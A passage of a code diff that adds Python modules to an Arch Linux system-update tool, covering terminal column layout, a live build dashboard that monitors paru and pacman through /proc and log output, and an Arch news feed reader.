@@ -0,0 +1,152 @@
+"""Fixed-column layout.
+
+Every emitted line goes through a Row. The Row knows the terminal width and
+refuses to produce a line that overflows it, because the failure mode of
+hand-padding with f-strings is that columns drift silently and a footer wraps
+onto a second line, and neither shows up until you render the thing.
+"""
+
+from __future__ import annotations
+
+from dataclasses import dataclass
+
+from rich.cells import cell_len
+from rich.text import Text
+
+
+class Overflow(Exception):
+ """A line exceeded the grid. Always a bug in the caller, never the user's."""
+
+
+@dataclass(frozen=True)
+class Grid:
+ """A column grid. All renderers share one so screens line up with each other."""
+
+ width: int = 100
+ indent: int = 2
+ right_margin: int = 2
+
+ @property
+ def right(self) -> int:
+ """Column at which right-aligned content ends."""
+ return self.width - self.right_margin
+
+ def row(self, indent: int | None = None) -> Row:
+ return Row(self, self.indent if indent is None else indent)
+
+ def blank(self) -> Text:
+ return Text()
+
+
+def clip(text: str, limit: int) -> str:
+ """Truncate to a cell budget, counting display width rather than codepoints."""
+ if limit <= 0:
+ return ""
+ if cell_len(text) <= limit:
+ return text
+ if limit == 1:
+ return "…"
+ out: list[str] = []
+ used = 0
+ for char in text:
+ width = cell_len(char)
+ if used + width > limit - 1:
+ break
+ out.append(char)
+ used += width
+ return "".join(out) + "…"
+
+
+class Row:
+ """Builds one line on the grid. Chainable.
+
+ Row(grid).span("linux", t.text).to(36).span(old, t.old).to(56).span(new, t.new)
+
+ The primitives cannot emit a line wider than the grid. Content that does not
+ fit is clipped and counted in `clipped`: handing the terminal a line it will
+ wrap corrupts every row below it, but silently losing text is also a bug, so
+ the counter lets tests tell "rendered" from "rendered by luck".
+ """
+
+ __slots__ = ("_text", "clipped", "grid")
+
+ def __init__(self, grid: Grid, indent: int) -> None:
+ self.grid = grid
+ self._text = Text(" " * max(0, min(indent, grid.width)))
+ self.clipped = 0
+
+ @property
+ def at(self) -> int:
+ """Current column, i.e. the display width of what we have so far.
+
+ Measured in terminal cells rather than codepoints: a double-width glyph
+ would otherwise satisfy the overflow check while still corrupting every
+ column to its right.
+ """
+ return self._text.cell_len
+
+ def _room(self, upto: int) -> int:
+ return max(0, min(upto, self.grid.width) - self.at)
+
+ def span(self, text: str, style: str | None = None) -> Row:
+ if not text:
+ return self
+ room = self._room(self.grid.width)
+ if cell_len(text) > room:
+ text = clip(text, room)
+ self.clipped += 1
+ if text:
+ self._text.append(text, style=style or "")
+ return self
+
+ def to(self, col: int, minimum: int = 1) -> Row:
+ """Pad with spaces until the cursor sits at absolute column `col`."""
+ want = max(minimum, col - self.at)
+ room = self._room(self.grid.width)
+ if want > room:
+ want = room
+ self.clipped += 1
+ self._text.append(" " * want)
+ return self
+
+ def right(self, text: str, style: str | None = None, col: int | None = None) -> Row:
+ """Right-align `text` so it ends at `col` (default: the right margin)."""
+ end = min(self.grid.right if col is None else col, self.grid.width)
+ room = self._room(end)
+ if room <= 0 or not text:
+ if text:
+ self.clipped += 1
+ return self
+ # keep at least one cell of separation wherever there is room for it,
+ # otherwise the value collides with whatever precedes it
+ if cell_len(text) > room - 1:
+ text = clip(text, room - 1 if room > 1 else room)
+ self.clipped += 1
+ if not text:
+ return self
+ self._text.append(" " * (room - cell_len(text)))
+ self._text.append(text, style=style or "")
+ return self
+
+ def fill(self, char: str = "─", style: str | None = None) -> Row:
+ """Fill the remaining grid width with a repeating character."""
+ room = self._room(self.grid.width)
+ if room > 0:
+ self._text.append(char * room, style=style or "")
+ return self
+
+ def done(self) -> Text:
+ if self.at > self.grid.width:
+ raise Overflow(
+ f"line is {self.at} cells, grid is {self.grid.width}: {self._text.plain!r}"
+ )
+ return self._text
+
+
+def check(lines: list[Text], width: int) -> None:
+ """Validate a whole screen, by display width. Call this in tests on every screen."""
+ for i, line in enumerate(lines):
+ if cell_len(line.plain) > width:
+ raise Overflow(
+ f"line {i} is {cell_len(line.plain)} cells, grid is {width}: {line.plain!r}"
+ )
diff --git a/updater/live.py b/updater/live.py
@@ -0,0 +1,707 @@
+"""Run a build while watching it, without parsing its output.
+
+Two halves, deliberately separated:
+
+ BuildObserver a state machine. Takes ticks, maintains the feed, knows what has
+ finished and what failed. No terminal, no Rich, fully testable.
+ LiveRunner the terminal. Owns the child process, the log file, the key
+ handling and the redraw. Contains no build logic.
+
+The observer never reads the child's stdout to decide anything. State comes from
+/proc and from the filesystem (see procwatch), so a change in paru's or makepkg's
+output format cannot break it, and the raw log is kept intact for when something
+goes wrong.
+"""
+
+from __future__ import annotations
+
+import contextlib
+import errno
+import os
+import re
+import select
+import shutil
+import signal
+import subprocess
+import sys
+import time
+from dataclasses import dataclass, field
+from pathlib import Path
+
+from rich.console import Console, Group
+from rich.live import Live
+from rich.text import Text
+
+from . import procwatch
+from .buildgraph import Graph
+from .procwatch import BuildState, format_duration
+from .render import build_screen
+from .render.build import FeedEntry, Totals
+from .theme import Theme
+
+POLL_HZ = 5.0
+#: a child that survived SIGKILL: the phase did not finish and did not stop
+EXIT_STILL_RUNNING = 125
+GRACE_SIGINT = 5.0
+GRACE_SIGTERM = 5.0
+
+
+# --------------------------------------------------------------------------
+# environment
+# --------------------------------------------------------------------------
+
+
+#: A phase runs in its own process group so a Ctrl+C meant for the interface
+#: does not land on pacman mid-transaction -- but in the *same session*, so it
+#: keeps the controlling terminal.
+#:
+#: That second part is not incidental. `start_new_session=True` calls setsid(),
+#: which detaches the child from the controlling terminal; sudo keys its
+#: credential cache to that terminal, so every privileged phase then failed with
+#: "a terminal is required to read the password" no matter how recently the user
+#: had authenticated. Detaching the session broke the very thing the
+#: pre-authentication exists to set up.
+def spawn_kwargs(env: dict[str, str], log) -> dict:
+ return {
+ "stdout": log,
+ "stderr": subprocess.STDOUT,
+ "stdin": subprocess.DEVNULL,
+ "env": env,
+ "process_group": 0,
+ }
+
+
+def can_sudo() -> bool:
+ """Whether sudo can act without a prompt, under the phases' own conditions.
+
+ Verified up front rather than discovered by the first phase. The repository
+ phase runs first and its failure aborts everything after it, so a run that
+ could never have worked should not start, stream a build screen, and then
+ report an exit code.
+
+ `-n` is deliberate: this asks "would sudo succeed silently", which is
+ exactly the question the phases need answered. A prompt here would mean a
+ prompt mid-transaction, which is what the check exists to prevent.
+ """
+ try:
+ with open(os.devnull, "wb") as null:
+ proc = subprocess.run( # noqa: S603 - a fixed argv
+ ["sudo", "-n", "true"], check=False, **spawn_kwargs(dict(os.environ), null)
+ )
+ except (OSError, subprocess.SubprocessError):
+ return False
+ return proc.returncode == 0
+
+
+def build_env(
+ workers: int = 1, nproc: int | None = None, base: dict[str, str] | None = None
+) -> dict[str, str]:
+ """Explicitly set build parallelism rather than inheriting it by accident.
+
+ Whether a build runs in parallel currently depends on how the tool was
+ launched: a shell that exports MAKEFLAGS gives `-j15`, while a systemd timer
+ or a GUI launcher gives nothing and make runs at `-j1` on a 16-core machine.
+
+ With N workers the cores must be *divided*, not multiplied: `-j15` across 8
+ workers is 120 concurrent compilers on a machine with 16 cores.
+ """
+ env = dict(os.environ if base is None else base)
+ nproc = nproc or os.cpu_count() or 1
+ jobs = max(1, nproc // max(1, workers))
+ env["MAKEFLAGS"] = f"-j{jobs}"
+ env["CARGO_BUILD_JOBS"] = str(jobs)
+ env["NINJAFLAGS"] = f"-j{jobs}"
+ return env
+
+
+def parallelism_label(workers: int = 1, nproc: int | None = None) -> str:
+ nproc = nproc or os.cpu_count() or 1
+ jobs = max(1, nproc // max(1, workers))
+ if workers <= 1:
+ return f"{nproc} cores · {jobs} jobs"
+ return f"{nproc} cores · {workers} workers × {jobs} jobs"
+
+
+# --------------------------------------------------------------------------
+# observation
+# --------------------------------------------------------------------------
+
+
+class BuildObserver:
+ """Tracks a build from the outside. One `poll()` per tick, no terminal."""
+
+ def __init__(
+ self,
+ graph: Graph,
+ clone_dir: Path,
+ *,
+ total: int | None = None,
+ cache_dir: Path = Path("/var/cache/pacman/pkg"),
+ ) -> None:
+ self.graph = graph
+ self.clone_dir = clone_dir
+ self.cache_dir = cache_dir
+ self.total = total if total is not None else len(graph)
+ self.started_at = time.monotonic()
+ self.feed: list[FeedEntry] = []
+ self.completed: set[str] = set()
+ self.running: set[str] = set()
+ self.failed: set[str] = set()
+ self.states: dict[str, BuildState] = {}
+ self.download_bytes = 0
+ self.download_peak = 0
+ self.download_rate = 0.0
+ self._last_dl_at = time.monotonic()
+ self._last_dl_bytes = 0
+ self._durations: dict[str, float] = {}
+ self._watcher = procwatch.Watcher(clone_dir, known=set(graph.nodes) or None)
+
+ # -- ticks -------------------------------------------------------------
+
+ def poll(self, root_pid: int | None) -> list[FeedEntry]:
+ """Advance one tick. Returns the entries newly appended to the feed."""
+ # always consult the watcher, even when the tree is gone: that final
+ # call is what turns "still running" into "finished"
+ live = self._watcher.poll(root_pid)
+ self.states = {state.package: state for state in live}
+ self.running = set(self.states)
+ # durations must be captured while the process is alive; once it exits
+ # there is nothing left to measure
+ for name, state in self.states.items():
+ self._durations[name] = max(self._durations.get(name, 0.0), state.elapsed)
+
+ fresh = [
+ self._finish(name) for name in self._watcher.new_finishes() if name not in self.failed
+ ]
+ self._sample_downloads()
+ return fresh
+
+ def _finish(self, name: str) -> FeedEntry:
+ self.completed.add(name)
+ self.running.discard(name)
+ node = self.graph.nodes.get(name)
+ entry = FeedEntry(
+ name=name,
+ version=node.version if node else "",
+ elapsed=self._durations.get(name, 0.0),
+ state="done",
+ shared=name in getattr(self.graph, "shared", set()),
+ )
+ self.feed.append(entry)
+ return entry
+
+ def fail(self, name: str, note: str = "failed") -> FeedEntry:
+ """Record a failure. Not the same as a crash: the build continues."""
+ self.failed.add(name)
+ self.running.discard(name)
+ node = self.graph.nodes.get(name)
+ entry = FeedEntry(
+ name=name,
+ version=node.version if node else "",
+ elapsed=self._durations.get(name, 0.0),
+ state="fail",
+ note=note,
+ )
+ self.feed.append(entry)
+ return entry
+
+ def seed(self, entries: list[FeedEntry]) -> None:
+ """Pre-populate, for resuming when some packages are already built."""
+ self.feed.extend(entries)
+ self.completed |= {e.name for e in entries if e.state != "fail"}
+ self.failed |= {e.name for e in entries if e.state == "fail"}
+
+ # -- downloads ---------------------------------------------------------
+
+ def _sample_downloads(self) -> None:
+ now = time.monotonic()
+ total, _count = procwatch.download_progress(self.cache_dir)
+ self.download_bytes = total
+ # `.part` files are renamed on completion, so the raw total can fall.
+ # Track a high-water mark so the reported rate never goes negative.
+ self.download_peak = max(self.download_peak, total)
+ dt = now - self._last_dl_at
+ if dt >= 0.5:
+ delta = self.download_peak - self._last_dl_bytes
+ if delta > 0:
+ self.download_rate = delta / dt
+ self._last_dl_at, self._last_dl_bytes = now, self.download_peak
+
+ # -- derived -----------------------------------------------------------
+
+ @property
+ def blocked(self) -> set[str]:
+ return self.graph.blocked(self.failed)
+
+ def totals(self) -> Totals:
+ elapsed = time.monotonic() - self.started_at
+ done = sum(1 for e in self.feed if e.state != "fail")
+ remaining = max(0, self.total - done - len(self.running))
+ eta = (elapsed / done) * remaining if done else None
+ return Totals(
+ total=self.total,
+ elapsed=elapsed,
+ eta=eta,
+ download_bytes=self.download_bytes,
+ download_rate=self.download_rate,
+ )
+
+ def render(
+ self, *, theme: Theme, glyphs, width: int, dashboard: bool = True, parallelism: str = ""
+ ) -> list[Text]:
+ return build_screen(
+ graph=self.graph,
+ theme=theme,
+ glyphs=glyphs,
+ width=width,
+ feed=self.feed,
+ states=list(self.states.values()),
+ completed=self.completed,
+ running=self.running,
+ failed=self.failed,
+ totals=self.totals(),
+ parallelism=parallelism,
+ dashboard=dashboard,
+ )
+
+ @staticmethod
+ def feed_line(entry: FeedEntry) -> str:
+ """One permanent line for ledger mode, so history is what scrolled past."""
+ mark = "x" if entry.state == "fail" else "+"
+ version = f" {entry.version}" if entry.version else ""
+ shared = " (shared)" if entry.shared else ""
+ took = f" {format_duration(entry.elapsed)}" if entry.elapsed else ""
+ return f"{mark} {entry.name}{version}{shared}{took}"
+
+
+# --------------------------------------------------------------------------
+# terminal
+# --------------------------------------------------------------------------
+
+
+@contextlib.contextmanager
+def cbreak():
+ """Put stdin in cbreak mode so single keys arrive without Enter.
+
+ Yields False when stdin is not a terminal, in which case key handling is
+ skipped rather than crashing under a pipe or a systemd unit.
+ """
+ if not sys.stdin.isatty():
+ yield False
+ return
+ import termios
+ import tty
+
+ fd = sys.stdin.fileno()
+ saved = termios.tcgetattr(fd)
+ try:
+ tty.setcbreak(fd)
+ yield True
+ finally:
+ termios.tcsetattr(fd, termios.TCSADRAIN, saved)
+
+
+def read_keys() -> str:
+ """Whatever is pending on stdin right now. Never blocks."""
+ try:
+ ready, _, _ = select.select([sys.stdin], [], [], 0)
+ except (OSError, ValueError):
+ return ""
+ if not ready:
+ return ""
+ try:
+ return os.read(sys.stdin.fileno(), 32).decode(errors="replace")
+ except OSError as exc:
+ if exc.errno in (errno.EIO, errno.EBADF):
+ return ""
+ raise
+
+
+def terminate(
+ proc: subprocess.Popen, *, grace: float = GRACE_SIGINT, term_grace: float = GRACE_SIGTERM
+) -> bool:
+ """Stop a child politely before escalating. True if it is gone.
+
+ Returns whether the child actually died, because the caller used to do
+ `returncode or 0`: a process stuck in D state, or on a hung mount, survives
+ SIGKILL, keeps `returncode is None`, and was reported as a *successful*
+ phase -- with a live pacman transaction still holding the database lock
+ while the next phase started beside it.
+
+ SIGINT goes to the child's process group because paru, makepkg and pacman all
+ install handlers that unwind a half-finished transaction. SIGKILL would leave
+ the package database in exactly the state we are trying to avoid, so it is
+ only ever the last resort.
+ """
+ if proc.poll() is not None:
+ return True
+ for sig, wait in ((signal.SIGINT, grace), (signal.SIGTERM, term_grace)):
+ with contextlib.suppress(ProcessLookupError, PermissionError):
+ os.killpg(os.getpgid(proc.pid), sig)
+ try:
+ proc.wait(timeout=wait)
+ return True
+ except subprocess.TimeoutExpired:
+ continue
+ with contextlib.suppress(ProcessLookupError, PermissionError):
+ os.killpg(os.getpgid(proc.pid), signal.SIGKILL)
+ with contextlib.suppress(subprocess.TimeoutExpired):
+ proc.wait(timeout=5)
+ return proc.poll() is not None
+
+
+@dataclass
+class RunResult:
+ returncode: int
+ log_path: Path
+ elapsed: float
+ feed: list[FeedEntry] = field(default_factory=list)
+ interrupted: bool = False
+
+ @property
+ def ok(self) -> bool:
+ return self.returncode == 0 and not self.interrupted
+
+
+#: pacman's own progress lines.
+#:
+#: The build phase needs no parsing: makepkg forks per package, so /proc says
+#: exactly what is running. pacman is a single process no matter how many
+#: packages it touches, so there is nothing for the watcher to attribute -- its
+#: output is the only per-package signal that exists. These two shapes are
+#: stable, machine-oriented and locale-independent.
+_P_DOWNLOADING = re.compile(r"^\s*(\S+?)-[^-]+-[^-]+-(?:x86_64|any|aarch64|[a-z0-9_]+) downloading")
+_P_CHANGING = re.compile(r"^(?:upgrading|installing|reinstalling|downgrading) ([^\s.]+)\.\.\.")
+_P_TOTAL_DOWNLOAD = re.compile(r"^Total Download Size:\s*([\d.]+)\s*(\w+)")
+_P_HOOK = re.compile(r"^\((\d+)/(\d+)\) (.+)\.\.\.")
+
+
+#: pacman prints sizes with either a short or a long unit suffix, depending on
+#: its build; both spellings mean the same thing.
+_UNITS = {
+ "B": 1,
+ "K": 1 << 10,
+ "KB": 1 << 10,
+ "KIB": 1 << 10,
+ "M": 1 << 20,
+ "MB": 1 << 20,
+ "MIB": 1 << 20,
+ "G": 1 << 30,
+ "GB": 1 << 30,
+ "GIB": 1 << 30,
+ "T": 1 << 40,
+ "TB": 1 << 40,
+ "TIB": 1 << 40,
+}
+
+
+def _to_bytes(value: str, unit: str) -> int:
+ """`474.12`, `MiB` -> 497,166,213. Unknown units are treated as bytes."""
+ try:
+ return int(float(value) * _UNITS.get(unit.strip().upper(), 1))
+ except (TypeError, ValueError):
+ return 0
+
+
+class RepoObserver:
+ """Progress for a pacman transaction, read from pacman's own output.
+
+ Presents the same surface as `BuildObserver` so the same dashboard renders
+ it. Without this the repository phase -- the long, network-bound half of an
+ update -- showed a build screen with nothing on it.
+ """
+
+ def __init__(
+ self,
+ packages: list[str],
+ *,
+ log_path: Path,
+ cache_dir: Path = Path("/var/cache/pacman/pkg"),
+ ) -> None:
+ self.packages = sorted(packages)
+ self.total = len(self.packages)
+ self.log_path = Path(log_path)
+ self.cache_dir = cache_dir
+ self.feed: list[FeedEntry] = []
+ self.states: dict[str, BuildState] = {}
+ self.completed: set[str] = set()
+ self.failed: set[str] = set()
+ self.download_bytes = 0
+ self.download_rate = 0.0
+ self.expected_bytes = 0
+ self.phase = "download"
+ self._offset = 0
+ self._known_set = set(self.packages)
+ self._reported = 0
+ self._started: dict[str, float] = {}
+ self._at = time.monotonic()
+ self._baseline = self._cache_bytes()
+ self._last_sample = (self._at, self._baseline)
+ self._hooked = 0
+
+ # -- reading the log ---------------------------------------------------
+
+ def poll(self, root_pid: int | None = None) -> list[FeedEntry]: # noqa: ARG002
+ """Advance one tick. Returns entries newly appended to the feed."""
+ for line in self._new_lines():
+ self._absorb(line)
+ self._sample()
+ return self._drain_feed()
+
+ def _new_lines(self) -> list[str]:
+ try:
+ with open(self.log_path, "rb") as handle:
+ handle.seek(self._offset)
+ chunk = handle.read()
+ self._offset = handle.tell()
+ except OSError:
+ return []
+ if not chunk:
+ return []
+ # Cut on the raw bytes. `cut` indexes bytes and `len(chunk)` counts
+ # them; indexing the decoded string instead lets the offset land behind
+ # the newline whenever the chunk holds multi-byte output, so the next
+ # poll re-reads consumed content and emits a fabricated line.
+ cut = chunk.rfind(b"\n")
+ if cut < 0:
+ self._offset -= len(chunk)
+ return []
+ self._offset -= len(chunk) - cut - 1
+ text = chunk[: cut + 1].decode("utf-8", errors="replace")
+ return [line.rstrip("\r") for line in text.splitlines() if line.strip()]
+
+ def _absorb(self, line: str) -> None:
+ if match := _P_TOTAL_DOWNLOAD.match(line):
+ self.expected_bytes = _to_bytes(match.group(1), match.group(2))
+ return
+ if match := _P_DOWNLOADING.match(line):
+ # pacman names the next package only once the previous one has
+ # landed, so seeing a new name is what finishes the old one. Without
+ # this every download stayed "running" and they all completed at
+ # once when the install phase began.
+ self._settle(match.group(1))
+ self._begin(match.group(1), "download")
+ return
+ if match := _P_CHANGING.match(line):
+ self.phase = "install"
+ name = match.group(1)
+ self._settle(name)
+ self._begin(name, "installing")
+ return
+ if line.startswith(":: Running post-transaction hooks"):
+ self.phase = "hooks"
+ self._settle(None)
+ return
+ if match := _P_HOOK.match(line):
+ self.phase = "hooks"
+ self.states = {
+ f"hook {match.group(1)}/{match.group(2)}": BuildState(
+ package=f"hook {match.group(1)}/{match.group(2)}",
+ phase=match.group(3)[:40],
+ elapsed=time.monotonic() - self._at,
+ )
+ }
+ return
+
+ def _begin(self, name: str, phase: str) -> None:
+ # pacman names packages without the repo prefix; match on the bare name
+ if name not in self._known():
+ return
+ self._started.setdefault(name, time.monotonic())
+ self.states[name] = BuildState(
+ package=name, phase=phase, elapsed=time.monotonic() - self._started[name]
+ )
+
+ def _settle(self, keep: str | None) -> None:
+ """Everything but `keep` has finished."""
+ for name in list(self.states):
+ if name != keep and name in self._known():
+ self._finish(name)
+ if keep is None:
+ self.states = {}
+
+ def _known(self) -> set[str]:
+ return self._known_set
+
+ def _finish(self, name: str) -> None:
+ self.states.pop(name, None)
+ if name in self.completed:
+ return
+ self.completed.add(name)
+ self.feed.append(
+ FeedEntry(name=name, elapsed=time.monotonic() - self._started.get(name, self._at))
+ )
+
+ def _drain_feed(self) -> list[FeedEntry]:
+ fresh = self.feed[self._reported :]
+ self._reported = len(self.feed)
+ return fresh
+
+ # -- numbers -----------------------------------------------------------
+
+ def _cache_bytes(self) -> int:
+ total = 0
+ try:
+ with os.scandir(self.cache_dir) as entries:
+ for entry in entries:
+ try:
+ if entry.is_file():
+ total += entry.stat().st_size
+ except OSError:
+ continue
+ except OSError:
+ return 0
+ return total
+
+ def _sample(self) -> None:
+ now = time.monotonic()
+ if now - self._at < 1.0:
+ return
+ self._at = now
+ current = self._cache_bytes()
+ self.download_bytes = max(0, current - self._baseline)
+ last_at, last_bytes = self._last_sample
+ elapsed = now - last_at
+ if elapsed > 0:
+ self.download_rate = max(0.0, (current - last_bytes) / elapsed)
+ self._last_sample = (now, current)
+
+
+class LiveRunner:
+ """Runs one command under the dashboard, or streams it plainly."""
+
+ def __init__(
+ self,
+ observer: BuildObserver,
+ *,
+ theme: Theme,
+ glyphs,
+ console: Console | None = None,
+ dashboard: bool = True,
+ workers: int = 1,
+ nproc: int | None = None,
+ ) -> None:
+ self.observer = observer
+ self.theme = theme
+ self.glyphs = glyphs
+ self.console = console or Console()
+ self.dashboard = dashboard
+ self.parallelism = parallelism_label(workers, nproc)
+ self.workers = workers
+ self.nproc = nproc
+ self.log_path: Path | None = None
+ self._pid: int | None = None
+ self._printed = 0
+
+ # -- public ------------------------------------------------------------
+
+ def run(
+ self, command: list[str], log_path: Path, env: dict[str, str] | None = None
+ ) -> RunResult:
+ self.log_path = log_path
+ log_path.parent.mkdir(parents=True, exist_ok=True)
+ started = time.monotonic()
+ interrupted = False
+
+ with open(log_path, "wb") as log, cbreak() as keys_on:
+ proc = subprocess.Popen( # noqa: S603 - argv is built by the caller
+ command, **spawn_kwargs(env or build_env(self.workers, self.nproc), log)
+ )
+ self._pid = proc.pid
+ try:
+ self._supervise(proc, keys_on)
+ except KeyboardInterrupt:
+ interrupted = True
+ self.console.print("\n[dim]interrupting build…[/dim]")
+ finally:
+ if proc.poll() is None:
+ terminate(proc)
+ self._pid = None
+
+ elapsed = time.monotonic() - started
+ self.observer.poll(None) # drain anything that landed at the end
+ self._flush_feed() # and make sure it is on screen
+ code = proc.returncode
+ if code is None:
+ interrupted = True
+ code = EXIT_STILL_RUNNING
+ return RunResult(
+ returncode=code,
+ log_path=log_path,
+ elapsed=elapsed,
+ feed=list(self.observer.feed),
+ interrupted=interrupted,
+ )
+
+ # -- internals ---------------------------------------------------------
+
+ @property
+ def _interactive(self) -> bool:
+ return bool(sys.stdout.isatty() and getattr(self.console, "is_terminal", False))
+
+ def _supervise(self, proc: subprocess.Popen, keys_on: bool) -> None:
+ """One loop drives both modes; the toggle just enters or leaves `Live`.
+
+ Keeping a single loop is what makes `v` work in both directions without
+ re-spawning anything or losing the feed: leaving the dashboard flushes
+ the accumulated feed to permanent scrollback first.
+ """
+ live: Live | None = None
+ try:
+ while proc.poll() is None:
+ self.observer.poll(self._pid)
+ want_live = self.dashboard and self._interactive
+ if want_live and live is None:
+ live = Live(
+ self._renderable(),
+ console=self.console,
+ refresh_per_second=POLL_HZ,
+ vertical_overflow="visible",
+ )
+ live.start()
+ elif not want_live and live is not None:
+ live.stop()
+ live = None
+ self._flush_feed()
+ if live is not None:
+ live.update(self._renderable())
+ else:
+ self._flush_feed()
+ if keys_on:
+ self._handle_keys(read_keys())
+ time.sleep(1.0 / POLL_HZ)
+ finally:
+ if live is not None:
+ live.stop()
+
+ def _handle_keys(self, keys: str) -> None:
+ for key in keys:
+ if key in ("v", " "):
+ self.dashboard = not self.dashboard
+ elif key == "l" and self.log_path:
+ self.console.print(f"[dim]log:[/dim] {self.log_path}")
+ elif key == "q":
+ self.dashboard = False
+ elif key == "\x03":
+ raise KeyboardInterrupt
+
+ def _renderable(self) -> Group:
+ lines = self.observer.render(
+ theme=self.theme,
+ glyphs=self.glyphs,
+ width=self._width(),
+ dashboard=self.dashboard,
+ parallelism=self.parallelism,
+ )
+ return Group(*lines)
+
+ def _flush_feed(self) -> None:
+ """Print feed entries that have not been shown as permanent lines yet."""
+ pending = self.observer.feed[self._printed :]
+ for entry in pending:
+ self.console.print(self.observer.feed_line(entry), highlight=False)
+ self._printed = len(self.observer.feed)
+
+ @staticmethod
+ def _width() -> int:
+ return shutil.get_terminal_size((100, 40)).columns
diff --git a/updater/news.py b/updater/news.py
@@ -0,0 +1,170 @@
+"""Arch news, which occasionally tells you an update needs a human.
+
+The front page of archlinux.org is the one place upstream says "this upgrade
+requires manual intervention", and it is exactly the kind of thing a tool that
+applies updates for you should not let you miss. The feed is RSS 2.0, so this
+parses it with the standard library rather than adding a dependency.
+
+Never raises: a feed that cannot be fetched is a normal state, and the caller
+decides what to say about it.
+"""
+
+from __future__ import annotations
+
+import re
+import time
+import xml.etree.ElementTree as ET
+from dataclasses import dataclass, replace
+from email.utils import parsedate_to_datetime
+
+from . import fetch
+
+FEED = "https://archlinux.org/feeds/news/"
+#: the feed is a handful of items and changes rarely
+TTL = 6 * 3600
+#: how far back to look when nothing has been read yet
+DEFAULT_WINDOW = 90 * 24 * 3600
+
+#: the phrase upstream uses when an upgrade will not complete on its own
+_ACTION_PHRASES = (
+ "manual intervention",
+ "requires manual",
+ "manual action",
+ "before upgrading",
+ "you will need to",
+)
+_TAGS = re.compile(r"<[^>]+>")
+_SPACE = re.compile(r"\s+")
+
+
+def plain_text(html: str) -> str:
+ """The description is HTML; the terminal wants prose."""
+ return _SPACE.sub(" ", _TAGS.sub(" ", html or "")).strip()
+
+
+@dataclass(frozen=True)
+class NewsItem:
+ title: str
+ link: str
+ published: float
+ author: str = ""
+ summary: str = ""
+
+ @property
+ def needs_action(self) -> bool:
+ """Whether this reads like it will not apply cleanly on its own."""
+ haystack = f"{self.title} {self.summary}".lower()
+ return any(phrase in haystack for phrase in _ACTION_PHRASES)
+
+ @property
+ def age(self) -> float:
+ return max(0.0, time.time() - self.published)
+
+
+def _parse(text: str) -> list[NewsItem]:
+ try:
+ root = ET.fromstring(text)
+ except ET.ParseError:
+ return []
+
+ out: list[NewsItem] = []
+ for item in root.iter("item"):
+ title = (item.findtext("title") or "").strip()
+ if not title:
+ continue
+ link = (item.findtext("link") or "").strip()
+ stamp = 0.0
+ raw_date = (item.findtext("pubDate") or "").strip()
+ if raw_date:
+ try:
+ stamp = parsedate_to_datetime(raw_date).timestamp()
+ except (TypeError, ValueError):
+ stamp = 0.0
+ creator = ""
+ for child in item:
+ if child.tag.split("}")[-1] == "creator":
+ creator = (child.text or "").strip()
+ out.append(
+ NewsItem(
+ title=title,
+ link=link,
+ published=stamp,
+ author=creator,
+ summary=plain_text(item.findtext("description") or ""),
+ )
+ )
+ # An item whose pubDate is missing or unparseable would keep a stamp of
+ # zero, and `recent()` filters on a positive cutoff -- so it could never be
+ # shown, however urgent it was. Falling back to the newest stamp in the
+ # feed keeps it visible; being ordered slightly wrong is a smaller problem
+ # than an Arch news item nobody ever sees.
+ newest = max((n.published for n in out), default=0.0)
+ fallback = newest if newest > 0 else time.time()
+ out = [n if n.published > 0 else replace(n, published=fallback) for n in out]
+ out.sort(key=lambda n: n.published, reverse=True)
+ return out
+
+
+def fetch_news(*, timeout: float = 20) -> tuple[list[NewsItem], str]:
+ """Recent news, newest first. Returns `(items, error)`; error is empty on success."""
+ path = fetch.cache_dir() / "news.xml"
+ body, error = fetch.get(FEED, timeout=timeout, cache=path, ttl=TTL)
+ if error:
+ # a stale copy beats nothing, and the feed rarely changes
+ if path.is_file():
+ try:
+ body = path.read_text()
+ except OSError:
+ return [], error
+ else:
+ return [], error
+ items = _parse(body)
+ if not items:
+ return [], "the news feed could not be read"
+ return items, ""
+
+
+def recent(
+ items: list[NewsItem], *, since: float = 0.0, window: float = DEFAULT_WINDOW
+) -> list[NewsItem]:
+ """Items published after `since`, or within `window` if nothing is recorded."""
+ cutoff = since if since > 0 else time.time() - window
+ return [item for item in items if item.published > cutoff]
+
+
+def summary_line(items: list[NewsItem]) -> str:
+ if not items:
+ return "nothing new"
+ urgent = [i for i in items if i.needs_action]
+ if urgent:
+ return f"{len(items)} recent item(s), {len(urgent)} needing a decision before updating"
+ return f"{len(items)} recent item(s)"
+
+
+def explain(items: list[NewsItem], *, limit: int = 12) -> list[str]:
+ """The news list, as lines, with anything needing action called out first."""
+ if not items:
+ return ["nothing new since you last looked"]
+
+ urgent = [i for i in items if i.needs_action]
+ routine = [i for i in items if not i.needs_action]
+ out = [
+ f"{len(items)} item(s) since you last looked, {len(urgent)} of which ask for a decision",
+ "",
+ ]
+ for group, label in ((urgent, "READ BEFORE UPDATING"), (routine, "ALSO RECENT")):
+ if not group:
+ continue
+ out.append(label)
+ for item in group[:limit]:
+ when = time.strftime("%Y-%m-%d", time.localtime(item.published))
+ out.append(f" {when} {item.title}")
+ if item.summary:
+ out.append(f" {item.summary[:150]}")
+ if item.link:
+ out.append(f" {item.link}")
+ if len(group) > limit:
+ out.append(f" + {len(group) - limit} more")
+ out.append("")
+ out.append("mark these as read with n")
+ return out
diff --git a/updater/procwatch.py b/updater/procwatch.py
@@ -0,0 +1,420 @@
+"""Observe a running build without parsing its output.
+
+Arch has no machine-readable build event stream, so anything read out of paru's
+or makepkg's human output is brittle by construction: it breaks on version,
+locale, terminal width and colour settings.
+
+We spawn paru ourselves, so we can observe the kernel instead:
+
+ /proc/<pid>/cwd -> which package's clone dir is being built (exact)
+ /proc/<pid>/stat -> starttime, hence an exact per-package elapsed timer
+ /proc/<pid>/cmdline -> which build system is actually running
+ stat() on artefacts -> corroborates completion
+
+No cooperation from paru or makepkg is required, and nothing is scraped.
+"""
+
+from __future__ import annotations
+
+import os
+import time
+from collections import deque
+from dataclasses import dataclass
+from pathlib import Path
+
+PROC = Path("/proc")
+
+
+def _clk_tck() -> int:
+ try:
+ return os.sysconf("SC_CLK_TCK")
+ except (ValueError, OSError): # pragma: no cover
+ return 100
+
+
+def boot_time() -> float:
+ """Seconds since epoch at boot, from /proc/stat `btime`."""
+ with open("/proc/stat", encoding="ascii", errors="replace") as fh:
+ for line in fh:
+ if line.startswith("btime "):
+ return float(line.split()[1])
+ return 0.0
+
+
+@dataclass(frozen=True)
+class Proc:
+ pid: int
+ ppid: int
+ comm: str
+ cmdline: tuple[str, ...]
+ cwd: str | None
+ started: float # epoch seconds
+
+ @property
+ def elapsed(self) -> float:
+ return max(0.0, time.time() - self.started)
+
